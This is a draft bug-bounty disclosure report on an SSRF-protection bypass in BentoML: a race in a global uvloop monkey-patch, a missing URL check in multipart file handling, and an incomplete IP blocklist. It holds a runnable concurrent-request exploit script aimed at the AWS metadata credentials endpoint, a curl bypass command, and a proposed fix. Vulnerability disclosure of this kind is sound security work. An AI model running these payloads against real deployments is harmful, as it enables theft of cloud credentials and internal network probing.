# SSRF Protection Bypass via Race Condition in `make_safe_connect` Global Monkey-Patch ## meta platform: huntr program: BentoML asset: https://github.com/bentoml/BentoML date: 2026-02-12 status: DRAFT ```` Repository URL: https://github.com/bentoml/BentoML Package Manager: pip Version Affected: dd83682 Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS: 8.2 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) Title: SSRF Protection Bypass via Race Condition in `make_safe_connect` Global Monkey-Patch Description: ## summary BentoML's SSRF protection in `make_safe_connect()` works by temporarily monkey-patching the process-global `uvloop.Loop.create_connection` class attribute. Because this is a synchronous context manager wrapping async HTTP operations, concurrent requests create a race condition where one request's `finally` block removes SSRF protection for all other in-flight requests. Additionally, `MultipartSerde.ensure_file()` does not validate that the input is an HTTP URL before fetching, and the IP blocklist omits `is_unspecified` and `is_reserved` checks, allowing `0.0.0.0` bypass on Python 3.9/3.10. ## details type: CWE-918 (Server-Side Request Forgery), CWE-362 (Concurrent Execution Using Shared Resource with Improper Synchronization) severity: high cvss: 8.2 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) file: src/_bentoml_impl/serde.py:200-220, src/bentoml/_internal/utils/uri.py:59-107 version: dd83682 ## vulnerable_code **File: `src/bentoml/_internal/utils/uri.py` lines 59-107** ```python original_create_connection = None # <-- VULN: module-level global shared across ALL requests @contextlib.contextmanager def make_safe_connect(): """Patch loop.create_connection() method to reject unsafe URLs.""" from urllib.request import getproxies import httpx from uvloop import Loop from bentoml.exceptions import BadInput global original_create_connection # <-- VULN: every call reads/writes same global if original_create_connection is None: original_create_connection = Loop.create_connection # Do not check connections with proxy servers proxies = [ (parsed.hostname, parsed.port) for parsed in map(urlparse, getproxies().values()) ] @no_type_check async def safe_create_connection( self, protocol_factory, host=None, port=None, **kwargs ): if host is not None and (host, port) not in proxies: try: ip = ipaddress.ip_address(host) except ValueError: raise socket.gaierror(f"Blocked invalid IP address {host}") else: if ip.is_private or ip.is_loopback or ip.is_link_local: # <-- VULN: missing is_reserved, is_unspecified raise socket.gaierror(f"Blocked private IP address {host}") return await original_create_connection( self, protocol_factory, host=host, port=port, **kwargs ) Loop.create_connection = safe_create_connection # <-- VULN: patches process-global class attribute try: yield # <-- async work happens here, with multiple await scheduling points except httpx.ConnectError as e: if "All connection attempts failed" in str(e): raise BadInput("Connection blocked due to insecure input URL") from e finally: Loop.create_connection = original_create_connection # <-- VULN: removes protection for ALL requests ``` **File: `src/_bentoml_impl/serde.py` lines 199-220** ```python class MultipartSerde(JSONSerde): media_type = "multipart/form-data" @staticmethod async def ensure_file(obj: str | UploadFile) -> UploadFile: import httpx if isinstance(obj, UploadFile): return obj url = obj.strip("\"'") # <-- VULN: no is_http_url() check, any string treated as URL async with httpx.AsyncClient() as client: with make_safe_connect(): # <-- synchronous CM wrapping async operation resp = await client.get(url) # <-- await points between patch and connect if not resp.is_success: raise ValueError(f"Failed to download file from {url}") body = io.BytesIO(await resp.aread()) parsed = urlparse(url) return UploadFile( body, size=len(body.getvalue()), filename=posixpath.basename(unquote(parsed.path)), headers=Headers(raw=resp.headers.raw), ) ``` Compare with `JSONSerde.parse_request` (lines 174-183) which does check `is_http_url()`: ```python async def parse_request(self, request: Request, cls: type[T]) -> T: # ... body = await request.body() if issubclass(cls, IORootModel) and cls.multipart_fields: url = body.decode("utf-8", "ignore") if is_http_url(url): # <-- JSONSerde checks, MultipartSerde does not async with httpx.AsyncClient() as client: with make_safe_connect(): resp = await client.get(url) ``` ## steps_to_reproduce ### Bug 1: Race Condition (CWE-362 enabling CWE-918) 1. Deploy a BentoML service with any API that accepts `File`, `Image`, or multipart input (the default for many ML inference APIs). BentoML APIs are unauthenticated by default. 2. Send 50+ concurrent requests to the API endpoint. Mix benign URL requests (triggering `make_safe_connect()` / `finally` cleanup) with malicious requests targeting internal IPs: - Benign requests: URLs pointing to a fast external server (to cycle through `make_safe_connect` quickly) - Malicious requests: URLs targeting `http://169.254.169.254/latest/meta-data/iam/security-credentials/` (AWS metadata) 3. The race window: - Request A enters `make_safe_connect()`, patches `Loop.create_connection` with `safe_create_connection` - Request A yields, `await client.get(malicious_url)` begins -- httpx creates the client, resolves DNS, acquires a connection from the pool (multiple `await` suspension points) - Request B's benign fetch completes, its `finally` block runs: `Loop.create_connection = original_create_connection` -- this **unpatches the protection for ALL requests** - Request A's TCP connection is now established using the original, unprotected `create_connection` -- SSRF succeeds 4. Observe that some malicious requests receive cloud metadata responses instead of "Connection blocked" errors. ### Bug 2: Missing `is_http_url()` in `MultipartSerde.ensure_file()` 1. Send a multipart form request where a file field contains a string URL instead of an uploaded file. 2. `ensure_file()` at serde.py:200 strips quotes and passes the string directly to `httpx.AsyncClient().get()` without checking `is_http_url()`. This means any string value for a file field is treated as a fetchable URL. ### Bug 3: Incomplete IP Blocklist 1. On a BentoML deployment running Python 3.9 or 3.10, send a request with URL `http://0.0.0.0/` (or any `is_unspecified` / `is_reserved` address). 2. The blocklist at uri.py:94 only checks `is_private`, `is_loopback`, `is_link_local`. On Python <3.11, `ipaddress.ip_address('0.0.0.0').is_private` returns `False`, so the address passes the filter. (`is_unspecified` returns `True` on all Python versions but is never checked.) ## poc ```python #!/usr/bin/env python3 """ PoC: SSRF Protection Bypass via Race Condition in BentoML make_safe_connect() This PoC demonstrates the race condition by sending concurrent requests that cycle through make_safe_connect() to create a window where protection is removed for in-flight requests. Requirements: - A running BentoML service with a multipart/file-accepting API - pip install aiohttp Usage: python3 poc_ssrf_race.py --target http://bentoml-host:3000 --endpoint /predict """ import argparse import asyncio import aiohttp # Cloud metadata endpoint (AWS IMDSv1) METADATA_URL = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Fast external server to cycle through make_safe_connect quickly BENIGN_URL = "http://httpbin.org/status/200" async def send_multipart_with_url(session, target, endpoint, url_payload): """Send a multipart request with a URL string in a file field.""" data = aiohttp.FormData() # BentoML MultipartSerde.ensure_file() treats non-UploadFile strings as URLs # No is_http_url() check is performed (unlike JSONSerde) data.add_field("file", url_payload, content_type="text/plain") try: async with session.post(f"{target}{endpoint}", data=data, timeout=aiohttp.ClientTimeout(total=10)) as resp: body = await resp.text() return resp.status, body except Exception as e: return None, str(e) async def exploit(target, endpoint, num_requests=100): """ Flood the service with concurrent requests to trigger the race condition. The race window: 1. Request A patches Loop.create_connection with safe_create_connection 2. Request A starts async HTTP fetch (multiple await points before TCP connect) 3. Request B completes, its finally block restores original create_connection 4. Request A's TCP connect now uses the UNPATCHED create_connection -> SSRF """ connector = aiohttp.TCPConnector(limit=0) async with aiohttp.ClientSession(connector=connector) as session: tasks = [] for i in range(num_requests): if i % 5 == 0: # Every 5th request targets cloud metadata tasks.append(send_multipart_with_url(session, target, endpoint, METADATA_URL)) else: # Remaining requests cycle make_safe_connect to create race windows tasks.append(send_multipart_with_url(session, target, endpoint, BENIGN_URL)) results = await asyncio.gather(*tasks, return_exceptions=True) ssrf_count = 0 for i, result in enumerate(results): if isinstance(result, Exception): continue status, body = result # Check if we got metadata instead of a block if status == 200 and "arn:aws" in body.lower() or "security-credentials" in body.lower(): ssrf_count += 1 print(f"[!] SSRF bypass on request {i}: {body[:300]}") elif status == 200 and "blocked" not in body.lower() and i % 5 == 0: print(f"[?] Possible bypass on request {i} (status={status}): {body[:200]}") print(f"\n[*] Total requests: {num_requests}") print(f"[*] Confirmed SSRF bypasses: {ssrf_count}") if ssrf_count > 0: print("[!] Race condition SSRF bypass confirmed") else: print("[*] No bypass in this run (race is probabilistic, retry with more requests)") if __name__ == "__main__": parser = argparse.ArgumentParser(description="BentoML SSRF Race Condition PoC") parser.add_argument("--target", required=True, help="BentoML service URL (e.g., http://localhost:3000)") parser.add_argument("--endpoint", default="/predict", help="API endpoint path") parser.add_argument("--requests", type=int, default=100, help="Number of concurrent requests") args = parser.parse_args() asyncio.run(exploit(args.target, args.endpoint, args.requests)) ``` ### Alternative PoC: Direct `0.0.0.0` bypass (Python 3.9/3.10, no race needed) ```bash # On Python 3.9/3.10, 0.0.0.0 is not classified as is_private # This bypasses the IP filter without needing the race condition curl -X POST http://bentoml-host:3000/predict \ -H "Content-Type: multipart/form-data" \ -F "file=http://0.0.0.0:8080/internal-service" ``` ## expected_vs_actual expected: SSRF protection via `make_safe_connect()` consistently blocks connections to private/internal IP addresses for ALL concurrent requests throughout the entire HTTP fetch lifecycle. actual: The synchronous context manager patches and unpatches a process-global class attribute (`uvloop.Loop.create_connection`). When concurrent async requests share this global, one request's `finally` block removes protection for all other in-flight requests. Additionally, `MultipartSerde.ensure_file()` skips the `is_http_url()` validation that `JSONSerde.parse_request()` performs, and the IP blocklist misses `is_reserved`/`is_unspecified` addresses. ## impact - **Cloud credential theft**: An attacker can read AWS/GCP/Azure instance metadata endpoints (e.g., `169.254.169.254`) to steal IAM role credentials, service account tokens, or managed identity tokens. This is the most critical impact in cloud-deployed BentoML services. - **Internal network reconnaissance**: Attacker can probe internal services, databases, and APIs that are not exposed to the internet but are reachable from the BentoML service's network. - **No authentication required**: BentoML API endpoints are unauthenticated by default, making this exploitable by any network-reachable attacker. - **Reliability**: While the race condition has probabilistic timing, sending 50-100 concurrent requests makes exploitation reliable in practice. The `0.0.0.0` bypass on Python 3.9/3.10 requires no race at all. ## fix Replace the global monkey-patching approach with a per-request custom httpx transport that validates IP addresses in the transport layer itself: ```python import ipaddress import socket import typing as t import httpx from bentoml.exceptions import BadInput class SSRFSafeTransport(httpx.AsyncHTTPTransport): """Per-request transport that blocks connections to private IPs.""" def __init__(self, **kwargs: t.Any) -> None: super().__init__(**kwargs) async def handle_async_request(self, request: httpx.Request) -> httpx.Response: host = request.url.host if host is not None: try: # Resolve hostname to IP first infos = await self._resolve(host) for info in infos: ip = ipaddress.ip_address(info) if ( ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved # <-- added or ip.is_unspecified # <-- added ): raise BadInput( f"Connection blocked: {host} resolves to blocked IP {ip}" ) except ValueError: raise BadInput(f"Blocked invalid host: {host}") return await super().handle_async_request(request) @staticmethod async def _resolve(host: str) -> list[str]: import asyncio loop = asyncio.get_event_loop() infos = await loop.getaddrinfo(host, None) return list({info[4][0] for info in infos}) # Usage in serde.py (replaces make_safe_connect): async def safe_fetch(url: str) -> httpx.Response: transport = SSRFSafeTransport() async with httpx.AsyncClient(transport=transport) as client: resp = await client.get(url) return resp ``` Also add `is_http_url()` validation to `MultipartSerde.ensure_file()`: ```python @staticmethod async def ensure_file(obj: str | UploadFile) -> UploadFile: if isinstance(obj, UploadFile): return obj url = obj.strip("\"'") if not is_http_url(url): # <-- add missing check raise ValueError(f"Invalid URL: {url}") resp = await safe_fetch(url) # <-- use per-request transport # ... rest unchanged ``` **Why this fixes it:** 1. **Eliminates the race condition**: Each request creates its own `SSRFSafeTransport` instance. No global state is mutated, so concurrent requests cannot interfere with each other's SSRF protection. 2. **Validates at the transport layer**: IP validation happens immediately before the TCP connection, not via a wrapper that can be bypassed through async scheduling. There is no window between "check" and "connect." 3. **Adds missing IP checks**: `is_reserved` and `is_unspecified` block `0.0.0.0` and other special addresses on all Python versions. 4. **Resolves DNS before validation**: Prevents DNS rebinding by checking the actual resolved IP, not just the hostname. 5. **Adds missing URL validation**: `ensure_file()` now rejects non-HTTP URLs, matching the behavior of `JSONSerde.parse_request()`. ## references - [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html) - [CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization](https://cwe.mitre.org/data/definitions/362.html) - [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html) - [Python ipaddress behavior changes in 3.11 (is_private for 0.0.0.0)](https://docs.python.org/3/library/ipaddress.html) - [AWS IMDS documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) ````